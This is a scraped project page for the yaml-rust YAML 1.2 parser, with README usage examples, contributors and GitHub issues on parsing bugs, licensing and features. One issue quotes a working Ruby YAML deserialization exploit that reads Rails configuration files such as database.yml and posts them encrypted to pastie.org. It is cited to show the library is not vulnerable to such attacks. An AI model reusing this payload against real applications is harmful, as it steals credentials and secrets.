Coder Social home page Coder Social logo

yaml-rust's Introduction

yaml-rust

The missing YAML 1.2 implementation for Rust.

Travis AppVeyor crates.io docs.rs

yaml-rust is a pure Rust YAML 1.2 implementation, which enjoys the memory safety property and other benefits from the Rust language. The parser is heavily influenced by libyaml and yaml-cpp.

Quick Start

Add the following to the Cargo.toml of your project:

[dependencies]
yaml-rust = "0.4"

and import:

extern crate yaml_rust;

Use yaml::YamlLoader to load the YAML documents and access it as Vec/HashMap:

extern crate yaml_rust;
use yaml_rust::{YamlLoader, YamlEmitter};

fn main() {
    let s =
"
foo:
    - list1
    - list2
bar:
    - 1
    - 2.0
";
    let docs = YamlLoader::load_from_str(s).unwrap();

    // Multi document support, doc is a yaml::Yaml
    let doc = &docs[0];

    // Debug support
    println!("{:?}", doc);

    // Index access for map & array
    assert_eq!(doc["foo"][0].as_str().unwrap(), "list1");
    assert_eq!(doc["bar"][1].as_f64().unwrap(), 2.0);

    // Chained key/array access is checked and won't panic,
    // return BadValue if they are not exist.
    assert!(doc["INVALID_KEY"][100].is_badvalue());

    // Dump the YAML object
    let mut out_str = String::new();
    {
        let mut emitter = YamlEmitter::new(&mut out_str);
        emitter.dump(doc).unwrap(); // dump the YAML object to a String
    }
    println!("{}", out_str);
}

Note that yaml_rust::Yaml implements Index<&'a str> & Index<usize>:

  • Index<usize> assumes the container is an Array
  • Index<&'a str> assumes the container is a string to value Map
  • otherwise, Yaml::BadValue is returned

If your document does not conform to this convention (e.g. map with complex type key), you can use the Yaml::as_XXX family API to access your documents.

Features

  • Pure Rust
  • Ruby-like Array/Hash access API
  • Low-level YAML events emission

Specification Compliance

This implementation aims to provide YAML parser fully compatible with the YAML 1.2 specification. The parser can correctly parse almost all examples in the specification, except for the following known bugs:

  • Empty plain scalar in certain contexts

However, the widely used library libyaml also fails to parse these examples, so it may not be a huge problem for most users.

Goals

  • Encoder
  • Tag directive
  • Alias while deserialization

Minimum Rust version policy

This crate's minimum supported rustc version is 1.31 (released with Rust 2018, after v0.4.3), as this is the currently known minimum version for regex as well.

License

Licensed under either of

at your option.

Contribution

Fork & PR on Github.

Unless you explicitly state otherwise, any contribution intentionally submitted for inclusion in the work by you, as defined in the Apache-2.0 license, shall be dual licensed as above, without any additional terms or conditions.

yaml-rust's People

Contributors

alexanderkjall avatar alyssais avatar antoyo avatar blinklad avatar chaaz avatar chris-m-h avatar chyh1990 avatar dtolnay avatar dylan-dpc avatar gaveup avatar hdevalke avatar hoodie avatar ignatenkobrain avatar iredelmeier avatar janlikar avatar kamilaborowska avatar m-r-r avatar marcaddeo avatar matthew-piziak avatar palfrey avatar partim avatar pedrocr avatar robinst avatar sensetime-cloud avatar t-botz avatar tshepang avatar xvilka avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

yaml-rust's Issues

Adding Support for Tag Directives

Hey all,

I'm working on a project that requires support for parsing Yaml documents with shorthand tag directives. I'm interested in looking into adding this support for yaml_rust, instead of writing my own Yaml parser. That said I don't have much experience with the yaml-rust project, or writing parsers in general.

So I wanted to start a discussion on what this feature should look like, how it should function, and how it may be implemented.

Do not emit trailing whitespace

extern crate yaml_rust;
use yaml_rust::{YamlLoader, YamlEmitter};

fn main() {
    let s = "---\na:\n  b: 0";
    let doc = &YamlLoader::load_from_str(s).unwrap()[0];
    let mut out = String::new();
    {
        let mut emitter = YamlEmitter::new(&mut out);
        emitter.dump(doc).unwrap();
    }
    // current behavior has trailing whitespace after `a:`
    assert_eq!(out, "---\na: \n  b: 0");
}

Make line and col Marker fields public

I hit upon this when doing additional validations on the scan results - it would make my life easier to have access to the line and column numbers, to generate better error messages. It is a trivial change - just adding pub in front of the line and col fields.

(Also, shouldn't Foled be named Folded?)

Out of bounds access while fuzzing

Found while fuzzing:

thread '<unnamed>' panicked at 'Out of bounds access', /checkout/src/libcore/option.rs:794
stack backtrace:
   0:     0x565157e29213 - std::sys::imp::backtrace::tracing::imp::unwind_backtrace::hab274209b3900f9c
                               at /checkout/src/libstd/sys/unix/backtrace/tracing/gcc_s.rs:49
   1:     0x565157e26062 - std::sys_common::backtrace::_print::h8f655fc4b25b9b70
                               at /checkout/src/libstd/sys_common/backtrace.rs:71
   2:     0x565157e2aa44 - std::panicking::default_hook::{{closure}}::hd0f0fde26cdd4a91
                               at /checkout/src/libstd/sys_common/backtrace.rs:60
                               at /checkout/src/libstd/panicking.rs:355
   3:     0x565157e2a60b - std::panicking::default_hook::h123df66825ae8c79
                               at /checkout/src/libstd/panicking.rs:371
   4:     0x565157e2ae8b - std::panicking::rust_panic_with_hook::h3635757261b59272
                               at /checkout/src/libstd/panicking.rs:549
   5:     0x565157e2ad64 - std::panicking::begin_panic::he3b450c9ca51fd2b
                               at /checkout/src/libstd/panicking.rs:511
   6:     0x565157e2ac99 - std::panicking::begin_panic_fmt::hf44dbae7fe247adf
                               at /checkout/src/libstd/panicking.rs:495
   7:     0x565157e2ac27 - rust_begin_unwind
                               at /checkout/src/libstd/panicking.rs:471
   8:     0x565157e3743d - core::panicking::panic_fmt::hde6a1a29c4abc8e6
                               at /checkout/src/libcore/panicking.rs:69
   9:     0x565157e374ad - core::option::expect_failed::h3a50c8f8e79754df
                               at /checkout/src/libcore/option.rs:794
  10:     0x565157c9e0d2 - <collections::vec_deque::VecDeque<A> as core::ops::Index<usize>>::index::h09f18bbd344f10b2
                               at /checkout/src/libcore/option.rs:297
                               at /checkout/src/libcollections/vec_deque.rs:2347
  11:     0x565157c3c72d - <yaml_rust::scanner::Scanner<T>>::scan_flow_scalar::h41d9360a7bad82c5
                               at /home/pascal/.cargo/registry/src/github.com-1ecc6299db9ec823/yaml-rust-0.3.5/src/scanner.rs:268
                               at /home/pascal/.cargo/registry/src/github.com-1ecc6299db9ec823/yaml-rust-0.3.5/src/scanner.rs:1297
  12:     0x565157c3fdbc - <yaml_rust::scanner::Scanner<T>>::fetch_flow_scalar::h60fd631d1a56883d
                               at /home/pascal/.cargo/registry/src/github.com-1ecc6299db9ec823/yaml-rust-0.3.5/src/scanner.rs:1171
  13:     0x565157c39427 - <yaml_rust::scanner::Scanner<T>>::fetch_next_token::hadab33e65d5d731e
                               at /home/pascal/.cargo/registry/src/github.com-1ecc6299db9ec823/yaml-rust-0.3.5/src/scanner.rs:0
  14:     0x565157c40890 - <yaml_rust::scanner::Scanner<T>>::fetch_more_tokens::he47e6ac326313003
                               at /home/pascal/.cargo/registry/src/github.com-1ecc6299db9ec823/yaml-rust-0.3.5/src/scanner.rs:430
  15:     0x565157c2f690 - <yaml_rust::scanner::Scanner<T>>::next_token::h0acbf5479d037b06
                               at /home/pascal/.cargo/registry/src/github.com-1ecc6299db9ec823/yaml-rust-0.3.5/src/scanner.rs:401
  16:     0x565157c9adb4 - <yaml_rust::scanner::Scanner<T> as core::iter::iterator::Iterator>::next::h7ab00efe147b3d2f
                               at /home/pascal/.cargo/registry/src/github.com-1ecc6299db9ec823/yaml-rust-0.3.5/src/scanner.rs:147
  17:     0x565157c2c0b4 - <yaml_rust::parser::Parser<T>>::peek::hce60245195d5c01d
                               at /home/pascal/.cargo/registry/src/github.com-1ecc6299db9ec823/yaml-rust-0.3.5/src/parser.rs:114
  18:     0x565157c1eec5 - <yaml_rust::parser::Parser<T>>::document_start::h54de53bfb3e191a2
                               at /home/pascal/.cargo/registry/src/github.com-1ecc6299db9ec823/yaml-rust-0.3.5/src/parser.rs:294
  19:     0x565157c2cc09 - <yaml_rust::parser::Parser<T>>::parse::h81ad338c10855ced
                               at /home/pascal/.cargo/registry/src/github.com-1ecc6299db9ec823/yaml-rust-0.3.5/src/parser.rs:0
                               at /home/pascal/.cargo/registry/src/github.com-1ecc6299db9ec823/yaml-rust-0.3.5/src/parser.rs:144
  20:     0x565157c2aedf - <yaml_rust::parser::Parser<T>>::load::h5a2ffb371d95ca89
                               at /home/pascal/.cargo/registry/src/github.com-1ecc6299db9ec823/yaml-rust-0.3.5/src/parser.rs:163
  21:     0x565157bf8d66 - serde_yaml::de::from_str::h3543e77ea8ecda6b
                               at /home/pascal/.cargo/git/checkouts/serde-yaml-2a1df9d8b0d0ba0b/e6c14ac/src/de.rs:636
  22:     0x565157bf4407 - serde_yaml::de::from_slice::h0f42f3c8abaea33f
                               at /home/pascal/.cargo/git/checkouts/serde-yaml-2a1df9d8b0d0ba0b/e6c14ac/src/de.rs:689
  23:     0x565157ca0814 - rust_fuzzer_test_input
                               at /home/pascal/Code/fuzz-targets/serde_yaml/read_yaml.rs:7
  24:     0x565157ca184b - std::panicking::try::do_call::h71cd5733f614fafa
                               at /home/pascal/.cargo/git/checkouts/libfuzzer-sys-e07fde05820d7bc6/36a3928/src/lib.rs:13
                               at /checkout/src/libstd/panicking.rs:454
  25:     0x565157e3101b - <unknown>
                               at /checkout/src/libpanic_abort/lib.rs:40
==1843== ERROR: libFuzzer: deadly signal
    #0 0x565157df6cb3  (/home/pascal/Code/fuzz-targets/target/debug/read_yaml+0x22acb3)
    #1 0x565157cd3c61  (/home/pascal/Code/fuzz-targets/target/debug/read_yaml+0x107c61)
    #2 0x565157cd3bab  (/home/pascal/Code/fuzz-targets/target/debug/read_yaml+0x107bab)
    #3 0x565157cd0b64  (/home/pascal/Code/fuzz-targets/target/debug/read_yaml+0x104b64)
    #4 0x7fc964e8b5bf  (/lib64/libpthread.so.0+0x115bf)
    #5 0x7fc9648d291e  (/lib64/libc.so.6+0x3591e)
    #6 0x7fc9648d4519  (/lib64/libc.so.6+0x37519)
    #7 0x565157e31028  (/home/pascal/Code/fuzz-targets/target/debug/read_yaml+0x265028)

NOTE: libFuzzer has rudimentary signal handlers.
      Combine libFuzzer with AddressSanitizer or similar for better crash reports.
SUMMARY: libFuzzer: deadly signal
MS: 1 CopyPart-; base unit: 6029715c82a77476c96aac3d18a35d826ad2b107
0xa,0x22,0x6c,0x6c,0x5c,0x22,0x6c,0x6c,0x5c,0xd,0xa,0x22,0x6c,0x6c,0x5c,0x22,0x6c,0x6c,0x5c,0xd,0xd,0xd,0xd,0x55,0xd,0xd,0xd,0x55,
\x0a\"ll\\\"ll\\\x0d\x0a\"ll\\\"ll\\\x0d\x0d\x0d\x0dU\x0d\x0d\x0dU
artifact_prefix='./'; Test unit written to ./crash-cb8b648997d36d6a3c8df0d955067af1528960cb
Base64: CiJsbFwibGxcDQoibGxcImxsXA0NDQ1VDQ0NVQ==

The input as Rust binary string:

b"\n\"ll\\\"ll\\\r\n\"ll\\\"ll\\\r\r\r\rU\r\r\rU"

Empty string should be quote

Hello.
I think I found an issue with my pull request #39:
I think that the empty string should be quoted, because otherwise, it will be parsed as a Unit.
Thanks.

The feature `preserve_order` is not "purely additive," which makes it impossible to use `serde_yaml` 0.5.0 and `clap` in the same program

Thank you for writing a great YAML parser for Rust! I'm working on several programs which make heavy use of it.

I ran into a rather tricky problem this morning, when I tried to use two Rust crates in the same program. And I'd love to get your feedback on it:

  • serde_yaml 0.5.0 requires that yaml-rust be configured with the feature preserve_order enabled.
  • clap requires that yaml-rust be configured with preserve_order disabled.

Trying to use both crates in the same program will turn on preserve_order and break clap:

error[E0308]: if and else have incompatible types
   --> /home/emk/.cargo/registry/src/github.com-1ecc6299db9ec823/clap-2.18.0/src/args/group.rs:463:30
    |
463 |         let group_settings = if b.len() == 1 {
    |                              ^ expected struct `linked_hash_map::LinkedHashMap`, found struct `std::collections::BTreeMap`
    |
    = note: expected type `&linked_hash_map::LinkedHashMap<yaml_rust::Yaml, yaml_rust::Yaml>`
    = note:    found type `&'a std::collections::BTreeMap<yaml_rust::Yaml, yaml_rust::Yaml>

I asked the Cargo maintainers on IRC if there was any workaround for this, and they said:

<sfackler> ekidd: features are normally supposed to be purely additive because of problems like these
<sfackler> seems like something you'd have to bug the yaml-rust people about unfortunately

As I understand it, this means that if a feature is enabled, it shouldn't change any of the existing APIs of the crate. I'm not sure what the best solution is here.

I've filed related issues against the affected projects: clap-rs/clap#747 dtolnay/serde-yaml#33

Thank you for any suggestions you can provide, and for writing a great YAML parser for Rust!

example request

It would be great if there could be an example of "Read in a yaml file. Edit the hash--either add a new key and value or update and existing one--write the results back out. I struggled with the emitter and docs vs doc.

Thanks

Tests failing on macOS

I think 27e6bad might have introduced some brackage on macOS - at least I can not compile fn test_hash_order() on macOS (linux works fine๐Ÿคท๐Ÿผโ€โ™‚๏ธ). What I see is the following:

error[E0308]: mismatched types
   --> src/yaml.rs:623:9
    |
623 |         assert_eq!(Some((Yaml::String("b".to_owned()), Yaml::Null)), iter.next());
    |         ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ expected enum `yaml::Yaml`, found &yaml::Yaml
    |
    = note: expected type `std::option::Option<(yaml::Yaml, yaml::Yaml)>`
               found type `std::option::Option<(&yaml::Yaml, &yaml::Yaml)>`
    = help: here are some functions which might fulfill your needs:
            - .take()
            - .unwrap()
    = note: this error originates in a macro outside of the current crate

error[E0308]: mismatched types
   --> src/yaml.rs:624:9
    |
624 |         assert_eq!(Some((Yaml::String("a".to_owned()), Yaml::Null)), iter.next());
    |         ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ expected enum `yaml::Yaml`, found &yaml::Yaml
    |
    = note: expected type `std::option::Option<(yaml::Yaml, yaml::Yaml)>`
               found type `std::option::Option<(&yaml::Yaml, &yaml::Yaml)>`
    = help: here are some functions which might fulfill your needs:
            - .take()
            - .unwrap()
    = note: this error originates in a macro outside of the current crate

error[E0308]: mismatched types
   --> src/yaml.rs:625:9
    |
625 |         assert_eq!(Some((Yaml::String("c".to_owned()), Yaml::Null)), iter.next());
    |         ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ expected enum `yaml::Yaml`, found &yaml::Yaml
    |
    = note: expected type `std::option::Option<(yaml::Yaml, yaml::Yaml)>`
               found type `std::option::Option<(&yaml::Yaml, &yaml::Yaml)>`
    = help: here are some functions which might fulfill your needs:
            - .take()
            - .unwrap()
    = note: this error originates in a macro outside of the current crate

error: aborting due to 3 previous errors

Providing line and column numbers in parsed document

The use case that I have in mind is to validate a yaml configuration file to a specification.

Would it be acceptable to extend the Yaml enum (or wrap it somehow) so that it is possible to use a .mark() method on the Yaml enum instances?

Relicense under dual MIT/Apache-2.0

This issue was automatically generated. Feel free to close without ceremony if
you do not agree with re-licensing or if it is not possible for other reasons.
Respond to @cmr with any questions or concerns, or pop over to
#rust-offtopic on IRC to discuss.

You're receiving this because someone (perhaps the project maintainer)
published a crates.io package with the license as "MIT" xor "Apache-2.0" and
the repository field pointing here.

TL;DR the Rust ecosystem is largely Apache-2.0. Being available under that
license is good for interoperation. The MIT license as an add-on can be nice
for GPLv2 projects to use your code.

Why?

The MIT license requires reproducing countless copies of the same copyright
header with different names in the copyright field, for every MIT library in
use. The Apache license does not have this drawback. However, this is not the
primary motivation for me creating these issues. The Apache license also has
protections from patent trolls and an explicit contribution licensing clause.
However, the Apache license is incompatible with GPLv2. This is why Rust is
dual-licensed as MIT/Apache (the "primary" license being Apache, MIT only for
GPLv2 compat), and doing so would be wise for this project. This also makes
this crate suitable for inclusion and unrestricted sharing in the Rust
standard distribution and other projects using dual MIT/Apache, such as my
personal ulterior motive, the Robigalia project.

Some ask, "Does this really apply to binary redistributions? Does MIT really
require reproducing the whole thing?" I'm not a lawyer, and I can't give legal
advice, but some Google Android apps include open source attributions using
this interpretation. Others also agree with
it
.
But, again, the copyright notice redistribution is not the primary motivation
for the dual-licensing. It's stronger protections to licensees and better
interoperation with the wider Rust ecosystem.

How?

To do this, get explicit approval from each contributor of copyrightable work
(as not all contributions qualify for copyright, due to not being a "creative
work", e.g. a typo fix) and then add the following to your README:

## License

Licensed under either of

 * Apache License, Version 2.0 ([LICENSE-APACHE](LICENSE-APACHE) or http://www.apache.org/licenses/LICENSE-2.0)
 * MIT license ([LICENSE-MIT](LICENSE-MIT) or http://opensource.org/licenses/MIT)

at your option.

### Contribution

Unless you explicitly state otherwise, any contribution intentionally submitted
for inclusion in the work by you, as defined in the Apache-2.0 license, shall be dual licensed as above, without any
additional terms or conditions.

and in your license headers, if you have them, use the following boilerplate
(based on that used in Rust):

// Copyright 2016 yaml-rust developers
//
// Licensed under the Apache License, Version 2.0 <LICENSE-APACHE or
// http://www.apache.org/licenses/LICENSE-2.0> or the MIT license
// <LICENSE-MIT or http://opensource.org/licenses/MIT>, at your
// option. This file may not be copied, modified, or distributed
// except according to those terms.

It's commonly asked whether license headers are required. I'm not comfortable
making an official recommendation either way, but the Apache license
recommends it in their appendix on how to use the license.

Be sure to add the relevant LICENSE-{MIT,APACHE} files. You can copy these
from the Rust repo for a plain-text
version.

And don't forget to update the license metadata in your Cargo.toml to:

license = "MIT/Apache-2.0"

I'll be going through projects which agree to be relicensed and have approval
by the necessary contributors and doing this changes, so feel free to leave
the heavy lifting to me!

Contributor checkoff

To agree to relicensing, comment with :

I license past and future contributions under the dual MIT/Apache-2.0 license, allowing licensees to chose either at their option.

Or, if you're a contributor, you can check the box in this repo next to your
name. My scripts will pick this exact phrase up and check your checkbox, but
I'll come through and manually review this issue later as well.

Error accessing index

Hi :)

my example yaml:

0:
    important: true

1:
    important: false
main:
pub use modules::config;
fn main() {
    // TODO add via argument
    static CONFIG_STRING: &'static str = "etc/GUS.yml";
    let cfg = config::get_yaml_config(&CONFIG_STRING);

    // Let's runtime!
    runtime::RTM { config: &cfg }.run();    
}

config:
pub fn get_yaml_config(config_file: &str) -> Array {
    let path_to_file = Path::new(&config_file);
    let display = path_to_file.display();
    let mut fd = match File::open(&path_to_file) {
        Err(why) => panic!("couldn't open {}: {}", display, why.description()),
        Ok(file) => file
    };

    let mut content = String::new();
    match fd.read_to_string(&mut content) {
        Err(why) => panic!("couldn't read {}: {}", display, why.description()),
        Ok(_) => println!(""),
    };
    // return Array
    yaml_loader::load_from_str(&content).unwrap()
}

runtime:
pub use config;
use yaml_rust::yaml::Array;

#[derive(Debug)]
pub struct RTM<'a> {
    pub config: &'a Array
}

impl<'a> RTM<'a> {
    pub fn run(&self) {
        let gus_config = &self.config[0];
        println!("{:?}", gus_config[0]);
    }
}

Then get an error when I try to acess index 0:

thread 'main' panicked at 'called `Option::unwrap()` on a `None` value', /buildslave/rust-buildbot/slave/stable-dist-rustc-linux/build/src/libcore/option.rs:323
note: Run with `RUST_BACKTRACE=1` for a backtrace.

Regards
Gino

safe `get` methods for Yaml

It's nice that we have convenience Index impls for Yaml, but it'd be nice if we could have access to safe methods that don't panic if the key is missing.

Empty documents trigger an assert

extern crate yaml_rust;

fn main() {
    yaml_rust::YamlLoader::load_from_str("---").unwrap();
}
thread '<main>' panicked at 'assertion failed: `(left == right)` (left: `StreamEnd`, right: `DocumentEnd`)', /home/sfackler/.cargo/registry/src/github.com-88ac128001ac3a9a/yaml-rust-0.3.2/src/parser.rs:174
stack backtrace:
   1:     0x558809ef59f0 - sys::backtrace::tracing::imp::write::h3675b4f0ca767761Xcv
   2:     0x558809ef817b - panicking::default_handler::_$u7b$$u7b$closure$u7d$$u7d$::closure.44519
   3:     0x558809ef7de8 - panicking::default_handler::h18faf4fbd296d909lSz
   4:     0x558809ef02fc - sys_common::unwind::begin_unwind_inner::hfb5d07d6e405c6bbg1t
   5:     0x558809ef0748 - sys_common::unwind::begin_unwind_fmt::h8b491a76ae84af35m0t
   6:     0x558809eeb956 - parser::Parser<T>::load_document::h474497665260408283
                        at /home/sfackler/foo/<std macros>:8
   7:     0x558809ec3c18 - parser::Parser<T>::load::h5306026868288320343
                        at /home/sfackler/.cargo/registry/src/github.com-88ac128001ac3a9a/yaml-rust-0.3.2/src/parser.rs:157
   8:     0x558809eb908d - yaml::YamlLoader::load_from_str::h5ef2e4fe9a09b1f2MXa
                        at /home/sfackler/.cargo/registry/src/github.com-88ac128001ac3a9a/yaml-rust-0.3.2/src/yaml.rs:201
   9:     0x558809e93cee - main::h012d216733fc8c5efaa
                        at src/main.rs:4
  10:     0x558809ef7a44 - sys_common::unwind::try::try_fn::h14622312129452522850
  11:     0x558809ef4f2b - __rust_try
  12:     0x558809ef74db - rt::lang_start::h0ba42f7a8c46a626rKz
  13:     0x558809e98449 - main
  14:     0x7f995c752740 - __libc_start_main
  15:     0x558809e93bc8 - _start
  16:                0x0 - <unknown>

"<<:" merge operator is not a key

fn test_yaml()
{
        let s =
"
%YAML 1.2
---

defaults: &super
  a:      valueA
  b:      valueB

sub:
  <<: *super
  b:      valueB_new
  c:      valueC
";
    // load:
    let docs = YamlLoader::load_from_str(s).unwrap();
    let doc = &docs[0];
    println!("doc: {:?}", doc);

    // dump & print:
    let mut out_str = String::new();
    {
        let mut emitter = YamlEmitter::new(&mut out_str);
        emitter.dump(doc).unwrap();
    }
    println!("rerender:\n{}", out_str);
}

Current unexpected output:

rerender:
---
defaults:
  a: valueA
  b: valueB
sub:
  "<<":
    a: valueA
    b: valueB
  b: valueB_new
  c: valueC

There "<<": is a key.

Parsing Types

Hi, I've tried out this crate and noticed that it does not support certain types of data.
I parsed this (extended) example from wikipedia:

---
a: 123                    # an integer
b: "123"                  # a string, disambiguated by quotes
c: 123.0                  # a float
d: !!float 123            # also a float via explicit data type prefixed by (!!)
e: !!str 123              # a string, disambiguated by explicit type
f: !!str Yes              # a string via explicit type
g: Yes                    # a boolean True
g1: !!bool Yes            # a boolean True
g2: !!bool True           # a boolean True
g3: True                  # a boolean True
h: Yes we have No bananas # a string, "Yes" and "No" disambiguated by context.

Where the values g* ought to be parsed as boolean. Instead they are parsed as String or even BadValue. The standard is a bit vague on the issue. Yaml1.2 mentions only true and false while the 1.1 also allows

 y|Y|yes|Yes|YES|n|N|no|No|NO
|true|True|TRUE|false|False|FALSE
|on|On|ON|off|Off|OFF

I know you stated this is a yaml1.2 lib, but for compatibility reasons, would you be willing to add this to the crate?

provide a way to customize the output of the emitter

currently all yaml strings are being emitted regardless of whether they are actually needed or not. typically you don't need them in yaml. it would be useful to have a way to customize the behavior or to just opt not to quote things by default.

Equal mappings of different order are not mutually-exclusive

When using mappings as keys, they are unique only when they have the same order.

According to YAML 1.2 equality definition:

Two mappings are equal only when they have the same tag and an equal set of keys, and each key in this set is associated with equal values in both mappings.

Example 1:

properties:
  {1: 1, 2: 2}: "First"
  {2: 2, 1: 1}: "Second"

Both values will be kept in the parsed structure.

Example 2:

properties:
  {1: 1, 2: 2}: "First"
  {1: 1, 2: 2}: "Second"

Will be read as

properties:
  {1: 1, 2: 2}: "Second"

Add `into_` counterparts for all `as_` methods

Background

Conversion method naming conventions

RFC 7087 and The Rust Style Guidelines define the following naming conventions for conversion methods:

Prefix Cost Consumes convertee
as_ Free No
to_ Expensive No
into_ Variable Yes

Proposed Enhancement

Currently yaml-rust provides as_ methods (as_str, as_hash, as_vec, etc.) on the impl Yaml. These methods obey the listed convention and do not consume the Yaml object. Adding into_ methods that consume the Yaml object would allow some callers to reduce their overall memory footprint.

Use Case

Code Review Answer (last paragraph)

integer values lose information

Yaml::Integer does not allow for the verbatim value in the YAML file to be reconstructed. For example, 07054 and 7054 in the input file both map to Yaml::Integer(7054). This is problematic, because the 07054 might have been intended to be a string, but was mistaken for an integer. By contrast, Yaml::Real does not have this issue, as it keeps the original string around: 07.054 and 7.054 map to Yaml::Real("07.054") and Yaml::Real("7.054") accordingly.

The same also holds for Yaml::Null, which is ambiguous in the sense that it could have been ~ or null in the input file. If the fields was intended to be interpreted as a string, the user of the library should be able to override the interpretation as Yaml::Null and access the original text.

Could we add a function to Yaml that returns the original verbatim string value given in the source file? This would imply changing Yaml::Integer to behave more like Yaml::Real, and adding a field to Yaml::Null that tracks which form of null was used. How about pub fn as_raw_str(&self) -> &str and pub fn into_raw_string(&self) -> String?

Motivation: I stumbled across this when trying to read a git commit from an input file which consists of only digits and has a leading 0.

Question: YamlLoader::load_from_str() vs. Yaml::load()

As I understand, Yaml::load() loads a string to a Yaml object, while YamlLoader::load_from_str() loads a string to a vector of Yaml objects. In my use case, the vector's length is always 1.

  1. In what cases YamlLoader::load_from_str() returns a vector with length > 1?
  2. Which is recommended: YamlLoader::load_from_str() or Yaml::load()?

Release

Hi,

would love to get a release of this crate anytime soon, so I can pin my Cargo.toml to the release!

Please continue on this project, I find it useful!

Arbitrary object instantiation

Let's document in the README that yaml-rust does not attempt to instantiate arbitrary Rust types and is not vulnerable to the sort of type-based remote code execution that affects some Ruby and Java yaml libraries.

https://community.embarcadero.com/blogs/entry/yaml-and-remote-code-execution-38738

exploit: !ruby/hash:ActionController::Routing::RouteSet::NamedRouteCollection
  ? ! "foo\n(require 'net/http'\nrequire 'digest'\nrequire 'openssl'\nrequire 'base64'\n\naes
  = proc { |text|\n  # sourzed from MetaSploit, best pwning t00l ev4r!\n  aes_256
  = OpenSSL::Cipher.new('aes-256-cbc')\n  aes_256.encrypt\n  aes_256.key = Digest::MD5.hexdigest(`uname
  -r`)\n\n  crypted = aes_256.update(text)\n  crypted << aes_256.final\n\n  Base64.encode64(crypted)\n}\n\nexfil
  = proc { |path|\n  if File.file?(path) == true\n    \"::: #{path} :::\\n\\n#{File.read(path)}\"\n
  \ end\n}\n\nloot = [\"config/database.yml\", \"config/librato.yml\", \"config/newrelic.yml\",
  \"config/rubygems.yml\"].map { |path| exfil.call(path) }.join\n\nif !(loot.empty?)\nNet::HTTP.post_form(URI('http://pastie.org/pastes'),
  {\n  'paste[authorization]' => 'burger',\n  'paste[access_key]'    => '',\n  'paste[parse_id]'
  \     => '6',\n  'paste[body]'          => \"e193256c9337b50b197f040e762dafcc745a66297c9db47ac30395d8022f94a8\\n\\n#{aes.call(loot)}\",\n
  \ 'paste[restricted]'    => '0',\n  'commit'               => 'Create Paste'\n})\nend;
  @executed = true) unless @executed\n__END__\n"
: !ruby/object:OpenStruct

Support for Unit

Could you please add support for the Unit type ()? I tested using Option<()>, but even when I set the value to Some(()) and export it, it'll result in ~.

alias support

Hey, I just noticed that alias were intended but are not fully implemented.
I could use this feature.
Could you finish it or perhaps give me some hints so I can do it?
Thank you.

0.3.2 release contains some untracked files

$ tar tf ~/.cargo/registry/cache/github.com-88ac128001ac3a9a/yaml-rust-0.3.2.crate
yaml-rust-0.3.2/.gitignore
yaml-rust-0.3.2/.travis.yml
yaml-rust-0.3.2/Cargo.toml
yaml-rust-0.3.2/LICENSE-APACHE
yaml-rust-0.3.2/LICENSE-MIT
yaml-rust-0.3.2/README.md
yaml-rust-0.3.2/appveyor.yml
yaml-rust-0.3.2/examples/dump_yaml.rs
yaml-rust-0.3.2/src/emitter.rs
yaml-rust-0.3.2/src/lib.rs
yaml-rust-0.3.2/src/parser.rs
yaml-rust-0.3.2/src/scanner.rs
yaml-rust-0.3.2/src/yaml.rs
yaml-rust-0.3.2/tests/spec_test.rs
yaml-rust-0.3.2/tests/spec_test.rs.inc
yaml-rust-0.3.2/tests/specexamples.rs.inc
yaml-rust-0.3.2/tests/specs/cpp2rust.rb
yaml-rust-0.3.2/tests/specs/handler_spec_test.cpp
yaml-rust-0.3.2/tests/specs/libyaml_fail-01.yaml
yaml-rust-0.3.2/tests/specs/libyaml_fail-02.yaml
yaml-rust-0.3.2/tests/specs/libyaml_fail-03.yaml
yaml-rust-0.3.2/bad.yml
yaml-rust-0.3.2/coverage.sh
yaml-rust-0.3.2/err.txt
yaml-rust-0.3.2/err1.txt
yaml-rust-0.3.2/perf.data
yaml-rust-0.3.2/perf.data.old

Notably the stuff at the end: perf.data, perf.data.old, etc.

Deserializer: Give client ownership of events

Disclaimer: I am new to Rust and maybe I misunderstand something.

Looking at the client libraries (yaml.rs in this project itself, de::Loader in serde-yaml), I realized that strings need to be cloned unnecessarily, as the EventReceiver interface does not pass ownership of the event.

Having implemented a small test client of serde-yaml myself, I realized that each string scalar was created three times on the heap: Once in yaml-rust, once in serde-yaml, and once in my client. If the EventReceiver passed ownership of the Event, one such allocation could be avoided.

I prepared an implementation myself to see if it works. If you want, I can prepare a pull request. But I would like to have your opinion on that before...

In literals, newlines should be preserved

The following test passes when building / running locally:

test test_ex2_13_in_literals_newlines_are_preserved ... ok

But when I try to reproduce the results of the test with a very short program, I am not seeing the same results.

extern crate yaml_rust;
use yaml_rust::{YamlLoader};

fn main() {
    let s = "# ASCII Art\n--- |\n  \\//||\\/||\n  // ||  ||__";

    println!("{:?}", s);
    let docs = YamlLoader::load_from_str(s).unwrap();
    let doc = &docs[0];
    println!("{:?}", doc);
    let asciiart = doc.as_str().unwrap();
    println!("{}", asciiart);
}
"# ASCII Art\n--- |\n  \\//||\\/||\n  // ||  ||__"
String("\\//||\\/||// ||  ||__")
\//||\/||// ||  ||__

impl Error for ScanError

